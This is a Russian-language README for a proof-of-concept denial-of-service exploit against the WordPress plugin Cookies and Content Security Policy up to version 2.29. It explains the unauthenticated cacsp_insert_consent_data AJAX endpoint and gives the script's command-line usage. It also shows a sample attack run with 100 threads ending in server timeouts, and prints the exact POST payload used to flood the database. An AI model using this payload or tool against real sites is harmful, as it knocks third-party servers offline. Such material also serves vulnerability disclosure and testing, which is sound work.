
Некорректный контроль доступа в функциональности AJAX-конечной точки в плагине jonkastonka Cookies and Content Security Policy вплоть до версии 2.29
Некорректный контроль доступа в функциональности AJAX-эндпоинта в плагине jonkastonka Cookies and Content Security Policy версии до 2.29 позволяет удалённым злоумышленникам вызвать отказ в обслуживании (истощение ресурсов сервера базы данных) с помощью неограниченных операций записи в базу данных на эндпоинт wp_ajax_nopriv_cacsp_insert_consent_data.
Уязвимость существует в функции cacsp_insert_consent_data(), которая открывается через AJAX-эндпоинт WordPress (wp-admin/admin-ajax.php) без требований аутентификации. Плагин использует действие wp_ajax_nopriv_, делая его доступным для неаутентифицированных пользователей.
Вектор атаки: Удалённые злоумышленники могут отправлять неограниченное количество одновременных POST-запросов, чтобы перегрузить сервер базы данных операциями записи, вызывая истощение CPU и дискового ввода-вывода.
requestsmatplotlibthreadingБазовое использование PoC-скрипта выглядит следующим образом:
python payload.py --target <target_url> --threads <number_of_threads>
По умолчанию количество потоков установлено на 100. Вы можете указать другое количество потоков, передав его вторым аргументом.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
Эксплойт отправляет POST-запросы на /wp-admin/admin-ajax.php с:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
Каждый успешный запрос вставляет новую строку в базу данных, содержащую:
Результат: ~89 байт на запрос × неограниченное количество запросов = быстрый рост базы данных
Данный PoC предназначен только для образовательных целей. Автор не несёт ответственности за любое неправильное использование или ущерб, причинённый в результате использования этого кода. Всегда получайте разрешение перед тестированием любой системы.